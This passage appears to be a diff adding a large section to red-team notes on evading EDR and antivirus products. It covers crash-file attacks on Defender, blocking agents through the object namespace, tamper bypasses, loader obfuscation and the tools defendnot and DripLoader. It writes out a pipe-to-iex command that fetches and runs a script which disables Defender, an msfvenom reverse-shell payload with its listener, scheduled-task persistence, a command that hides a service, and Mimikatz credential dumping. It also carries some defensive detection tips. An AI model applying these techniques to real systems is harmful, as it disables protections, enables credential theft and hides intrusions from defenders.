+ - Concept: Modify the system's DNS server settings to point to an attacker-controlled DNS server or a public DNS filtering service (like OpenDNS) configured to block EDR domains.
1162
+ - Mechanism: All DNS lookups from the system (including the EDR) are routed through the malicious/filtering DNS server, which returns incorrect or blocked responses for EDR domains.
1163
+ - Limitations:
1164
+ - Same caching issues as hosts file modification apply.
1165
+ - Requires administrative privileges to change system-wide DNS settings.
1166
+ - Easily detectable if network settings are monitored.
1167
+
1168
+ #### Agent Tampering & Tamper‑Protection Bypasses
1169
+
1170
+ - Microsoft Defender's Tamper Protection (and similar vendor self‑protection) can be disabled by
1171
+ - Launching a TrustedInstaller‑child process and modifying service registry keys (e.g., `sc config Sense start= disabled`).
1172
+ - Changing ACLs on `WdFilter` or `SenseIR` registry values, then rebooting so the filter driver never loads.
1173
+ - Many commercial EDRs expose self‑protection flags via WMI namespaces; clearing the flag allows the agent service to be stopped or deleted.
1174
+ - **Detection guidance:** alert on writes to antivirus/EDR service parameters or attempted driver unloads while the service is running.
1175
+
1176
+ #### Cloud‑Side XDR Telemetry Throttling & Poisoning
1177
+
1178
+ - Local evasion is incomplete: vendors replay queued events when connectivity returns.
1179
+ - Attackers therefore:
1180
+ - Throttle upload intervals (e.g., `SenseUploadFrequency`) to several hours.
1181
+ - Inject thousands of benign events (mass process creations) to drown anomaly‑detection models (“telemetry poisoning”).
1182
+ - Blue teams should monitor for sudden policy flips or extreme event‑volume spikes with low entropy.
1183
+
1184
+ #### Scanning Engine DoS Attacks
1185
+
1186
+ A technique to disable EDRs by exploiting memory corruption vulnerabilities in their file scanning engines, particularly effective against Microsoft Defender.
1187
+
1188
+ **Concept:**
1189
+
1190
+ - Trigger memory corruption bugs in EDR scanning engines
1191
+ - Crashes the main EDR process when malicious files are scanned
1192
+ - Can be deployed alongside initial access payloads or before credential dumping
1193
+
1194
+ **Microsoft Defender Targeting (`mpengine.dll`):**
1195
+
1196
+ _File-based DoS Vectors:_
1197
+
1198
+ ```powershell
1199
+ # Create malicious files that crash Defender during scanning
1200
+ # PE files with specific corruption patterns
1201
+ # Encrypted Office documents with malformed saltSize values
1202
+ # JavaScript files that trigger emulation crashes
1203
+ # Mach-O files that cause Lua script execution errors
1204
+ ```
1205
+
1206
+ _Delivery Methods:_
1207
+
1208
+ ```html
1209
+ <!-- Web-based delivery via download -->
1210
+ <a href="malicious.pdf" download>Download PDF</a>
1211
+ <!-- Crashes Defender when Real-time Protection scans the file -->
1212
+ ```
1213
+
1214
+ ```powershell
1215
+ # SMB share delivery for lateral movement
1216
+ copy crash_defender.docx \\target\share\documents\
1217
+ # Defender crashes when scanning uploaded file
1218
+ mimikatz.exe privilege::debug sekurlsa::logonpasswords
1219
+ ```
1220
+
1221
+ _Email attachment delivery:_
1222
+
1223
+ ```powershell
1224
+ # Email malicious files that crash Defender during email scanning
1225
+ # Particularly effective against organizations with Defender for Office 365
1226
+ # Timing allows subsequent payloads to execute without detection
1227
+ ```
1228
+
1229
+ **Attack Sequence for Initial Access:**
1230
+
1231
+ 1. Deliver crash file alongside main payload
1232
+ 2. Crash file triggers when Defender scans downloads folder
1233
+ 3. Main EDR process (MsMpEng.exe) crashes and restarts
1234
+ 4. Execute main payload during restart window
1235
+ 5. Subsequent malicious activity may go undetected
1236
+
1237
+ **Attack Sequence for Internal Movement:**
1238
+
1239
+ 1. Upload crash file to network share before credential dumping
1240
+ 2. Wait for Defender to scan and crash
1241
+ 3. Execute credential dumping tools (Mimikatz, etc.)
1242
+ 4. EDR restart may not catch the dumping activity
1243
+
1244
+ **Limitations:**
1245
+
1246
+ - Requires specific file format knowledge
1247
+ - Some crashes only occur with PageHeap enabled
1248
+ - Microsoft may quietly patch vulnerabilities
1249
+ - Defender restarts automatically, limiting window
1250
+ - Other EDR vendors may have different scanning engines
1251
+
1252
+ **Defensive Considerations:**
1253
+
1254
+ - Monitor for unexpected MsMpEng.exe crashes
1255
+ - Implement scanning engine crash alerting
1256
+ - Consider sandboxing file scanning processes
1257
+ - Deploy additional EDR solutions for redundancy
1258
+
1259
+ ### EDR-Specific Driver Interface Abuse
1260
+
1261
+ #### ALPC Communication Attacks
1262
+
1263
+ Advanced Local Procedure Call (ALPC) is commonly used for EDR inter-process communication and presents a significant attack surface:
1264
+
1265
+ ##### Windows ALPC Technical Background
1266
+
1267
+ **ALPC Overview:**
1268
+
1269
+ - Windows Advanced (or Asynchronous) Local Procedure Call is an IPC mechanism for same-host communication
1270
+ - Undocumented by Microsoft - developers intended to use official libraries like RPCRT4.dll
1271
+ - Fast and efficient mechanism heavily used within Windows OS
1272
+ - Commonly implemented as Windows RPC "ncalrpc" transport
1273
+
1274
+ **ALPC Port Registration:**
1275
+
1276
+ ```cpp
1277
+ // Example ALPC-RPC Server Registration (from Cortex XDR analysis)
1278
+ RpcServerUseProtseqEp(L"ncalrpc", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, endpoint, NULL);
1279
+ RpcServerRegisterIf(interface_handle, NULL, NULL);
1280
+ RpcServerListen(1, RPC_C_LISTEN_MAX_CALLS_DEFAULT, FALSE);
1281
+ ```
1282
+
1283
+ **Key ALPC Characteristics:**
1284
+
1285
+ - **Port Naming**: If port name is NULL, random name like `LRPC-71dcaff45b0f633aad` is assigned
1286
+ - **Access Control**: Ports can be restricted using Security Descriptors
1287
+ - **Endpoint Mapper**: Most EDR ports are NOT registered at RPC Endpoint Mapper
1288
+ - **Visibility**: ProcessHacker/SystemInformer displays all ports in Handles tab; WinObj shows them under `\RPC Control\`
1289
+ - **Client Connection**: Clients connect using port name or interface UUID (if registered)
1290
+
1291
+ **ALPC Vulnerability Categories:**
1292
+
1293
+ - **Weak Access Control**: Missing restrictions leading to unauthorized access
1294
+ - **Memory Corruption**: Bugs in function parameter handling
1295
+ - **Impersonation Issues**: Though usefulness in realistic scenarios unclear
1296
+ - **DoS via Blocking**: The vulnerability class discovered in this research (previously undiscussed publicly)
1297
+
1298
+ #### Namespace Object Exploitation
1299
+
1300
+ **Object Manager Namespace Attacks:**
1301
+
1302
+ - Exploit how EDRs handle preexisting objects in the Object Manager's namespace
1303
+ - Can cause permanent agent crashes/stops for low-privileged users
1304
+ - Part of the broader ALPC blocking vulnerability class affecting multiple EDR vendors
1305
+
1306
+ **Technical Background:**
1307
+
1308
+ - Windows Object Manager maintains a hierarchical namespace for kernel objects
1309
+ - Objects include mutexes, events, semaphores, ALPC ports, and named pipes
1310
+ - EDRs often use predictable object names for inter-process communication
1311
+ - Poor error handling when objects already exist leads to initialization failures
1312
+
1313
+ **Exploitation Techniques:**
1314
+
1315
+ _ALPC Port Pre-registration:_
1316
+
1317
+ ```powershell
1318
+ # Create ALPC port with EDR's expected name
1319
+ # This blocks the EDR from creating its communication channel
1320
+ $portName = "LRPC-EDRCommPort" # Example EDR port name
1321
+ # Use RPC runtime to register port before EDR starts
1322
+ ```
1323
+
1324
+ _Mutex/Event Object Blocking:_
1325
+
1326
+ ```powershell
1327
+ # Example: Creating conflicting namespace objects
1328
+ # This can interfere with EDR agent startup and operation
1329
+ New-Item -Path "\\.\Global\EDR_AGENT_MUTEX" -Force
1330
+
1331
+ # Block common EDR synchronization objects
1332
+ $objects = @(
1333
+ "\\.\Global\CortexAgentMutex",
1334
+ "\\.\Global\DefenderStartupEvent",
1335
+ "\\.\Global\EDRInitComplete"
1336
+ )
1337
+ foreach ($obj in $objects) {
1338
+ try { New-Item -Path $obj -Force } catch {}
1339
+ }
1340
+ ```
1341
+
1342
+ _Named Pipe Blocking:_
1343
+
1344
+ ```cpp
1345
+ // Block EDR named pipes before agent startup
1346
+ HANDLE hPipe = CreateNamedPipe(
1347
+ L"\\\\.\\pipe\\EDRCommunication",
1348
+ PIPE_ACCESS_DUPLEX,
1349
+ PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
1350
+ 1, 1024, 1024, 0, NULL
1351
+ );
1352
+ ```
1353
+
1354
+ **Persistence via Scheduled Tasks:**
1355
+
1356
+ ```powershell
1357
+ # High-priority logon trigger to win the race
1358
+ schtasks /create /tn "SystemInit" /tr "C:\Windows\System32\namespace_blocker.exe" /sc onlogon /rl highest /ru "NT AUTHORITY\SYSTEM"
1359
+
1360
+ # Event-based trigger for specific scenarios
1361
+ schtasks /create /tn "ServiceInit" /tr "C:\Tools\block_edr.exe" /sc onevent /ec system /mo "*[System[EventID=7036 and Data='Windows Defender Antivirus Service']]"
1362
+ ```
1363
+
1364
+ ### Additional Evasion Techniques
1365
+
1366
+ #### Telemetry Complexity Attacks (TCAs)
1367
+
1368
+ A novel evasion technique that exploits mismatches between EDR data collection and processing capabilities:
1369
+
1370
+ ##### Attack Mechanism
1371
+
1372
+ - Generates deeply nested and oversized telemetry data structures
1373
+ - Exploits bounded processing capabilities vs unbounded data collection
1374
+ - Stresses serialization and storage boundaries in EDR pipelines
1375
+ - Causes denial-of-analysis without requiring privileges or sensor tampering
1376
+
1377
+ ##### Impact
1378
+
1379
+ - Truncated or missing behavioral reports in EDR consoles
1380
+ - Rejected database inserts due to size/complexity limits
1381
+ - Unresponsive dashboards from query timeouts
1382
+ - Silent failures in telemetry correlation engines
1383
+
1384
+ ##### Technical Details
1385
+
1386
+ - Targets JSON/XML serialization depth limits
1387
+ - Overflows event buffer ring structures
1388
+ - Exploits database column size constraints
1389
+ - Triggers timeout conditions in real-time analysis
1390
+
1391
+ #### Azure/Entra Device Attribute Manipulation
1392
+
1393
+ - Concept: Modify device attributes via dsreg.dll to potentially impact device identification or monitoring
1394
+ - Mechanism: Uses Windows `dsregcmd /updateDevice` internally or direct API calls to modify device properties
1395
+ - Logging implications:
1396
+ - `displayName` changes generate Azure audit logs (initiator: "Device Registration Service")
1397
+ - `hostnames` changes do not generate Azure audit logs at all
1398
+ - Both operations update local registry at `HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo\{ID}\`
1399
+ - Implementation via API requires device certificate authentication
1400
+ - Limited attack surface but demonstrates interesting logging blind spots for cloud-managed devices
1401
+
1402
+ #### Conditional Access Evasion
1403
+
1404
+ - Conditional‑Access policies hinge on properties like `trustType`, `deviceComplianceState`, and risk level.
1405
+ - Attackers possessing the device certificate can invoke `DsregSetDeviceProperty()` to flip these flags, then run `dsregcmd /refreshprereqs` to push altered attributes to Entra ID.
1406
+ - **Impact:** stolen or cached tokens appear compliant, bypassing MFA or device‑based restrictions until the next compliance refresh.
1407
+ - **Note:** "No detection" of the initial execution or implant drop doesn't guarantee that no alerts are generated for the blue team based on telemetry or subsequent actions.
1408
+
1409
+ #### String Obfuscation
1410
+
1411
+ - Use strings obfuscation libraries to make static analysis more difficult:
1412
+ - Golang - [Garble](https://github.com/burrowers/garble)
1413
+ - Rust - [obfstr](https://github.com/CasualX/obfstr)
1414
+ - Nim - [NimProtect](https://github.com/itaymigdal/NimProtect)
1415
+
1416
+ #### PE Attribute Cloning & Code Signing for Evasion
1417
+
1418
+ - **Cloning:** Modifying an implant's PE attributes (icon, version info, name, etc.) to match a legitimate, commonly found binary on the target system can aid evasion.
1419
+ - Cloning an _unsigned_ legitimate binary (like `at.exe`) and leaving the implant unsigned might bypass checks more effectively than cloning a _signed_ binary (like `RuntimeBroker.exe`) and signing the implant with a _spoofed_ certificate, especially if the defender verifies signatures for known system files.
1420
+ - **Code Signing (Spoofed):** Signing an implant, even with an invalid or spoofed certificate (e.g., mimicking a legitimate entity), can sometimes reduce detection rates. Some AV/EDR solutions may not rigorously validate the certificate chain.
1421
+ - **Timestamping Server:** The specific Time Stamp Authority (TSA) server used during the signing process can unexpectedly influence detection outcomes by different AV/EDR products.
1422
+ - **Testing:** Effectiveness heavily depends on the specific EDR/AV and target environment configuration. Always test locally.
1423
+
1424
+ #### Entropy, File Pumping, Bloating
1425
+
1426
+ - Entropy measures how random data appears:
1427
+ - Lower entropy indicates less randomness
1428
+ - Higher entropy might flag as packed/compressed/anomalous
1429
+ - Techniques to manipulate entropy:
1430
+ - Add long strings of random English words
1431
+ - Keep implant small but insert many English words (file bloating)
1432
+ - Bloat the file significantly so AV/EDR won't bother scanning
1433
+
1434
+ #### Time-Delayed Execution
1435
+
1436
+ - Allows execution to time-out emulation sweeps
1437
+ - Slow down each step of malware execution: `alloc => chunk1 write ... chunkN write => execute`
1438
+ - General Suggestions
1439
+ - use `SORTED-RVA` strategy
1440
+ - `FreshyCalls`
1441
+ - `Runtime Function Table`
1442
+ - don't rely on fresh `NTDLL.DLL` parsing, don't load one from process/memory
1443
+ - don't used direct syscalls that extract syscall
1444
+
1445
+ #### Emulator Evasion
1446
+
1447
+ - Environmental keying - check username, domain, specific UNC/SMB path, registry value
1448
+ - IP geolocation - call out to services like `http://ip-api.com/json` to verify location
1449
+ - Verify expected process/filename - sandboxes often rename samples to `<HASH>.exe`
1450
+ - Verify expected parent process - useful for DLL side-loading scenarios where sandboxes run DLLs via `rundll32`
1451
+ - Check for physical display devices
1452
+
1453
+ #### Controlled Decryption
1454
+
1455
+ - Carefully inspect environment before decompressing and decrypting shellcode
1456
+ - For zero knowledge about environment, pull decryption keys from internet/DNS
1457
+
1458
+ #### Fooling Import Hash (ImpHash)
1459
+
1460
+ 1. Create unreachable code paths in native loader
1461
+ 2. In that unreachable code, call Windows APIs with dummy parameters
1462
+ 3. Compile the code
1463
+ 4. Locate those APIs in the executable's import address table
1464
+ 5. Overwrite imported function names in PE headers with random other names from the same DLL
1465
+
1466
+ #### Command Line Spoofing
1467
+
1468
+ - Modifies command line arguments in process memory
1469
+ - Hides actual parameters from EDR telemetry
1470
+ - Makes detection based on command line difficult
1471
+
1472
+ #### Killing Bit Technique
1473
+
1474
+ - Detection Signatures are being implemented on
1475
+ - Syscall Hashes
1476
+ - Assembly stub bytes
1477
+ - Hashing routines/functions
1478
+ - Evasion
1479
+ - Implement your own or modify existing direct syscalls harness
1480
+ - After hashing algorithm change `KEY/BitShift/ROL/arithmatic` is enough to refresh hashes
1481
+ - Insert junk instructions into assembly stubs so naive static signatures won't match any longer
1482
+ - use Indirect Syscalls, find `SYSCALL` instruction somewhere in `ntdll.dll` and jump there
1483
+ - General Suggestions
1484
+ - use `SORTED-RVA` strategy
1485
+ - `FreshyCalls`
1486
+ - `Runtime Function Table`
1487
+ - don't rely on fresh `NTDLL.DLL` parsing, don't load one from process/memory
1488
+ - don't used direct syscalls that extract syscall
1489
+
1490
+ #### DripLoader Technique
1491
+
1492
+ - Implementation available at [github.com/xuanxuan0/DripLoader](https://github.com/xuanxuan0/DripLoader)
1493
+ - Technique details:
1494
+ - Reserve 64KB chunks with `NO_ACCESS` protection
1495
+ - Allocate chunks with `Read+Write` permissions in that reserved pool (4KB each)
1496
+ - Write shellcode in chunks using randomized order
1497
+ - Change protection to `Read+Exec`
1498
+ - Overwrite prologue of `ntdll!RtlpWow64CtxFromAmd64` with `JMP` trampoline to shellcode
1499
+ - Use direct syscalls for memory operations and thread creation
1500
+ - **Reminder on Post-Exploitation:** Successful initial execution (e.g., implant download/run) doesn't guarantee stealth for subsequent actions. EDR can still detect malicious behavior later (e.g., Meterpreter activity). In-memory evasion techniques remain critical.
1501
+
1502
+ ### General Evasion Strategy
1503
+
1504
+ - using a less known C&C tool with indirect system calls and the help of `.dll` is recommended
1505
+ - you should avoid the built-in `execute assembly` option of C&C tools, use community extensions instead (beacon object file or inline execute assembly)
1506
+ - for example [Certify](https://github.com/GhostPack/Certify) and [SharpHound](https://github.com/BloodHoundAD/SharpHound)
1507
+ - sample EDR bypass
1508
+ - user downloads a zip that contains `.lnk` file(modern browsers refuse to download a link file directly)
1509
+ - `.lnk` executes `mshta.exe` with the malware location as argument(to bypass AppLocker)
1510
+ - `mshta.exe` downloads and executes a `.hta` malicious file from our server
1511
+ - due to `.dll` hijacking, our payload executes every time Microsoft Teams is opened
1512
+ - EDR doesn't detect infection
1513
+
1514
+ #### EDR Evasion Strategy for Persistence
1515
+
1516
+ Complete EDR evasion is challenging. Consider these strategies:
1517
+
1518
+ - Instead of evading detection entirely, focus on persistence
1519
+ - Aim for delayed & extended execution (dechain file write & exec events)
1520
+ - Use VBA/WSH to drop DLL/XLL:
1521
+ - COM hijacking
1522
+ - DLL side-loading/hijacking
1523
+ - XLL, XLAM, WLL persistence
1524
+ - Drop `VbaProject.OTM*` to backdoor Outlook (particularly effective against CrowdStrike)
1525
+ - Drop CPL (`%APPDATA%\Microsoft\Outlook\VbaProject.OTM`)
1526
+ - Hide Services:
1527
+ - Use Security Descriptor Definition Language (SDDL) strings to modify service permissions, making them harder to detect or query by standard tools. You can use `sc sdset` for this.
1528
+ ```shell
1529
+ # Example: Hiding a service named 'evilsvc'
1530
+ sc sdset evilsvc "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
1531
+ ```
1532
+ See [SID Strings](https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings) for documentation.
1533
+
1534
+ Additional reading:
1535
+
1536
+ - [Hang Fire](https://medium.com/@matterpreter/hang-fire-challenging-our-mental-model-of-initial-access-513c71878767)
1537
+ - [Macroless Phishing](https://www.youtube.com/watch?v=WlR01tEgi_8)
1538
+
1539
+ #### AV-Specific Evasion
1540
+
1541
+ - Example: McAfee exclusions can be found in logs:
1542
+ - `c:\ProgramData\McAfee\Endpoint Security\Logs\AdaptiveThreatProtection_Activity.log`
1543
+ - Discovering excluded processes (like `conhost.exe`) enables targeted injection
1544
+
1545
+ ## Practical Implementation
1546
+
1547
+ ### Setting Up a Testing Lab
1548
+
1549
+ #### Kali (Attacker) Setup:
1550
+
1551
+ - Generate shellcode using msfvenom:
1552
+ ```bash
1553
+ msfvenom -p windows/x64/Meterpreter/reverse_tcp LHOST=192.168.242.128 LPORT=443 EXITFUNC=thread --platform windows -f raw -o reverse64-192168242128-443.bin
1554
+ ```
1555
+ - Launch Meterpreter listener:
1556
+ ```bash
1557
+ msfconsole
1558
+ use exploit/multi/handler
1559
+ set payload windows/x64/Meterpreter/reverse_tcp
1560
+ set LPORT 443
1561
+ set LHOST 192.168.242.128
1562
+ run
1563
+ ```
1564
+
1565
+ #### Windows (Victim) Setup:
1566
+
1567
+ - Ensure VMs can communicate
1568
+ - Keep Windows and Defender updated
1569
+ - Create antivirus exclusion on test directory
1570
+ - Disable "Automatic sample submission" during testing (re-enable outside testing)
1571
+
1572
+ ### Windows Defender Bypass Tools
1573
+
1574
+ Available at [github.com/hackmosphere/DefenderBypass](https://github.com/hackmosphere/DefenderBypass):
1575
+
1576
+ - **myEncoder3.py** - Transforms binary files to hex and applies XOR encryption
1577
+ - **InjectBasic.cpp** - Basic shellcode injector in C++
1578
+ - **InjectCryptXOR.cpp** - Adds XOR decryption for encrypted shellcode
1579
+ - **InjectSyscall-LocalProcess.cpp** - Uses direct syscalls to bypass userland hooks, removes suspicious functions from IAT
1580
+ - **InjectSyscall-RemoteProcess.cpp** - Injects shellcode into remote processes
1581
+
1582
+ **Progressive techniques**:
1583
+
1584
+ 1. Begin with basic shellcode execution
1585
+ 2. Add encryption/obfuscation
1586
+ 3. Implement direct syscalls to bypass monitoring
1587
+ 4. Move to remote process injection when needed
1588
+
1589
+ #### WSC API Abuse (defendnot)
1590
+
1591
+ A sophisticated technique that abuses the Windows Security Center (WSC) service to disable Windows Defender by registering a fake antivirus:
1592
+
1593
+ - **Concept**: WSC is used by legitimate antiviruses to notify Windows that another AV is present, causing Windows to automatically disable Defender
1594
+ - **Implementation**: [defendnot](https://github.com/es3n1n/defendnot) directly interacts with the undocumented WSC API to register itself as an antivirus
1595
+ - **Advantages**:
1596
+ - Completely disables Windows Defender rather than just evading detection
1597
+ - Uses legitimate Windows functionality (WSC service)
1598
+ - More reliable than traditional bypass methods
1599
+ - Successor to older techniques like "no-defender"
1600
+
1601
+ **Installation Methods**:
1602
+
1603
+ ```powershell
1604
+ # Basic installation
1605
+ irm https://dnot.sh/ | iex
1606
+
1607
+ # With custom AV name
1608
+ & ([ScriptBlock]::Create((irm https://dnot.sh/))) --name "Custom AV name"
1609
+
1610
+ # Silent installation (no console allocation)
1611
+ & ([ScriptBlock]::Create((irm https://dnot.sh/))) --silent
1612
+ ```
1613
+
1614
+ **Command Line Options**:
1615
+
1616
+ - `--name` - Custom antivirus display name
1617
+ - `--disable` - Disable defendnot
1618
+ - `--verbose` - Verbose logging
1619
+ - `--silent` - No console allocation
1620
+ - `--autorun-as-user` - Create autorun task as current user
1621
+ - `--disable-autorun` - Disable autorun task creation
1622
+
1623
+ **Technical Details**:
1624
+
1625
+ - WSC API is undocumented and typically requires Microsoft NDA for documentation
1626
+ - Registers the fake AV directly with WSC rather than using third-party code
1627
+ - Requires persistence via autorun to maintain registration after reboot
1628
+ - Binaries must remain on disk for continued operation
1629
+
1630
+ **Limitations**:
1631
+
1632
+ - Requires autorun persistence (detectability concern)
1633
+ - May be flagged by other security solutions monitoring WSC changes
1634
+ - Effectiveness depends on target system configuration and other security layers
1635
+
1636
+ **Legitimate Use Cases**:
1637
+
1638
+ - Development environment resource optimization
1639
+ - Performance testing under different security configurations
1640
+ - Educational research on Windows security mechanisms
1641
+ - Home lab experimentation
1642
+
1643
+ ### Enhance Protection
1644
+
1645
+ - Prevent LSASS dumping by running it as a protected process light (`RunAsPPL`)
1646
+ - Deeper analysis on EDR telemetry
1647
+ - Heavy monitoring on common external compromise vectors
1648
+ - Application Allow Listing
1649
+
1650
+ #### LSASS protection (RunAsPPL) defaults
1651
+
1652
+ - Windows 11 version 22H2 (new installs): Added LSA protection is enabled by default when the device is enterprise joined and supports HVCI; upgrades may not auto-enable.
1653
+ - Windows 11 version 24H2: LSA protection defaults are broader; Microsoft notes it is enabled by default on more device categories (MSA/Entra/hybrid/local) with evaluation behavior on upgrade.
1654
+ - Blue-team quick checks:
1655
+ - Verify registry: `HKLM\SYSTEM\CurrentControlSet\Control\Lsa` → `RunAsPPL`/`RunAsPPLBoot` (policy may also store a UEFI variable for lock).
1656
+ - Confirm status with eventing and `Get-ProcessMitigation -System` and hardware readiness (`Get-CimInstance Win32_DeviceGuard`).
1657
+
1658
+ ### Firmware & Boot‑level Threats
1659
+
1660
+ - **UEFI Bootkits** (e.g., BlackLotus, CosmicStrand‑2024) execute during the DXE phase, disable BitLocker and HVCI before Windows loads, and can patch kernel code pages before EDR starts.
1661
+ - **Secure Boot bypass CVE‑2024‑7344** abuses an un‑revoked test‑signed shim to load unsigned payloads even with Secure Boot enabled.
1662
+ - **Mitigations**
1663
+ - Keep DBX revocation list current (August 2024 or later).
1664
+ - Enable Windows Defender System Guard Secure Launch and SVI.
1665
+ - Collect & review TPM PCR[7] and System Guard logs for unexpected changes.
1666
+
1667
+ ### Linux / Container Visibility & Evasion
1668
+
1669
+ #### eBPF Runtime Sensors
1670
+
1671
+ - Tools like **Falco 0.38+** , **Cilium Tetragon** (real‑time enforcement with `kubectl tetragon observe`), and **AWS GuardDuty eBPF** hook `sys_enter` tracepoints and kprobes to emulate EDR telemetry on Kubernetes nodes.
1672
+ - **Evasion**
1673
+ - Detach or overwrite the eBPF program with `bpftool prog detach`.
1674
+ - Remount `debugfs` elsewhere to hide BPF maps and programs.
1675
+ - Hide processes in sidecar containers that run outside the node‑agent's PID namespace filter.
1676
+
1677
+ #### PID‑Namespace & Cgroup Tricks
1678
+
1679
+ - **CVE‑2025‑26324** leaks host PIDs, allowing a container process to open `/proc/<hostpid>/mem` and bypass namespace‑based sensors.
1680
+ - Sidecars running in the host network namespace can exfiltrate data without visibility from node‑level agents.
1681
+
1682
+ ### Non‑Windows Endpoints (macOS, iOS, Android)
1683
+
1684
+ #### macOS
1685
+
1686
+ - Starting with macOS Sonoma (14), every Gatekeeper verdict is logged via the unified log channel `sender=syspolicyd`. Blue teams monitor these streams; red teams should clear the quarantine flag **before** first execution or ship a notarised loader.
1687
+ - Direct edits to **TCC.db** grant screen‑recording, camera, or microphone entitlements without user prompts.
1688
+ - Combine with notarised, ad‑hoc signed apps to bypass Gatekeeper on macOS 15.
1689
+
1690
+ #### Mobile
1691
+
1692
+ - **Android 13/14**: SIM‑swap plus deferred `appops` removes MDM profiles without factory reset.
1693
+ - **iOS 17 KFD exploit** enables sideloading unsigned binaries that most Mobile Threat Defence solutions fail to scan.
1694
+
1695
+ ### Kernel Driver Blocklists & Core Isolation (Windows 11 23H2+)
1696
+
1697
+ - Windows now ships a quarterly updated vulnerable‑driver blocklist; violations surface under _Device security → Core isolation_.
1698
+ - **Kernel Data Protection (KDP)** marks EDR code pages read‑only—even for kernel drivers.
1699
+ - **Attacker response:** use driver‑name collision (rename malicious driver to `iqvw64e.sys`) or flip _CiOptions_ from a BYOVD payload before loading unsigned code.
1700
+ - Defender quick checks: `Get-ProcessMitigation -System`, `Get-CimInstance -ClassName Win32_DeviceGuard`, and `Get-WindowsDriver -Online -All | ? Name -match 'wd'`.
1701
+ - Hardware‑Enforced Stack Protection (CET/Shadow Stack) is increasingly enabled (Windows 11 24H2+). Call‑stack spoofing must account for CET or will fault.
1702
+ - LSASS protection (RunAsPPL) is enabled by default on recent Windows 11 new installs; credential theft attempts must consider this.
1703
+
1704
+ ## Diagrams
1705
+
1706
+ ### EDR Detection & Prevention Mechanisms
1707
+
1708
+ ```mermaid
1709
+ flowchart TB
1710
+ EDR["Endpoint Detection & Response"]
1711
+
1712
+ subgraph "Detection Mechanisms"
1713
+ UserHooks["User-Mode API Hooks"]
1714
+ KernelHooks["Kernel Callbacks"]
1715
+ ETW["Event Tracing for Windows"]
1716
+ PE["PE File Scanning"]
1717
+ Behavior["Behavioral Analysis"]
1718
+ Memory["Memory Scanning"]
1719
+ end
1720
+
1721
+ subgraph "Protected Resources"
1722
+ AMSI["Anti-Malware Scan Interface"]
1723
+ ETW2["ETW Providers"]
1724
+ WinAPI["Windows APIs"]
1725
+ KernelObj["Kernel Objects"]
1726
+ ProcMem["Process Memory"]
1727
+ end
1728
+
1729
+ EDR --> UserHooks
1730
+ EDR --> KernelHooks
1731
+ EDR --> ETW
1732
+ EDR --> PE
1733
+ EDR --> Behavior
1734
+ EDR --> Memory
1735
+
1736
+ UserHooks --> WinAPI
1737
+ KernelHooks --> KernelObj
1738
+ ETW --> ETW2
1739
+ PE --> AMSI
1740
+ Memory --> ProcMem
1741
+ ```
1742
+
1743
+ ### EDR Evasion Techniques
1744
+
1745
+ ```mermaid
1746
+ flowchart LR
1747
+ Attacker["Attacker"]
1748
+
1749
+ subgraph "Evasion Categories"
1750
+ HookBypass["Hook Bypasses"]
1751
+ DirectSyscalls["Direct Syscalls"]
1752
+ IndirectJumps["Indirect Code Execution"]
1753
+ UnhookingTech["Unhooking Techniques"]
1754
+ SignatureEvade["Signature Evasion"]
1755
+ end
1756
+
1757
+ subgraph "Common Techniques"
1758
+ NTDLL["NTDLL.DLL Techniques"]
1759
+ ProcInject["Process Injection"]
1760
+ MemModules["Memory-Only Modules"]
1761
+ AltExecution["Alternative Execution"]
1762
+ end
1763
+
1764
+ Attacker --> HookBypass
1765
+ Attacker --> DirectSyscalls
1766
+ Attacker --> IndirectJumps
1767
+ Attacker --> UnhookingTech
1768
+ Attacker --> SignatureEvade
1769
+
1770
+ HookBypass --> NTDLL
1771
+ DirectSyscalls --> NTDLL
1772
+ IndirectJumps --> ProcInject
1773
+ IndirectJumps --> MemModules
1774
+ IndirectJumps --> AltExecution
1775
+ UnhookingTech --> NTDLL
1776
+ SignatureEvade --> MemModules
1777
+ ```
1778
+
1779
+ ### Modern EDR Evasion Workflow
1780
+
1781
+ ```mermaid
1782
+ sequenceDiagram
1783
+ participant A as Attacker
1784
+ participant L as Loader
1785
+ participant N as ntdll.dll
1786
+ participant S as Syscall Gateway
1787
+ participant K as Kernel
1788
+
1789
+ A->>L: Deliver Encrypted Payload
1790
+ L->>L: Decrypt In-Memory
1791
+ L->>N: Check for Hooks
1792
+
1793
+ alt Hooked APIs
1794
+ L->>N: Map Clean Copy of ntdll.dll
1795
+ L->>N: Use Syscall IDs Dynamically
1796
+ else No Hooks
1797
+ L->>N: Direct API Calls
1798
+ end
1799
+
1800
+ L->>S: Execute Syscall
1801
+ S->>K: Transition to Kernel
1802
+ K->>K: Execute Operation
1803
+ K->>S: Return to User Mode
1804
+ S->>L: Continue Execution
1805
+ ```
1806
+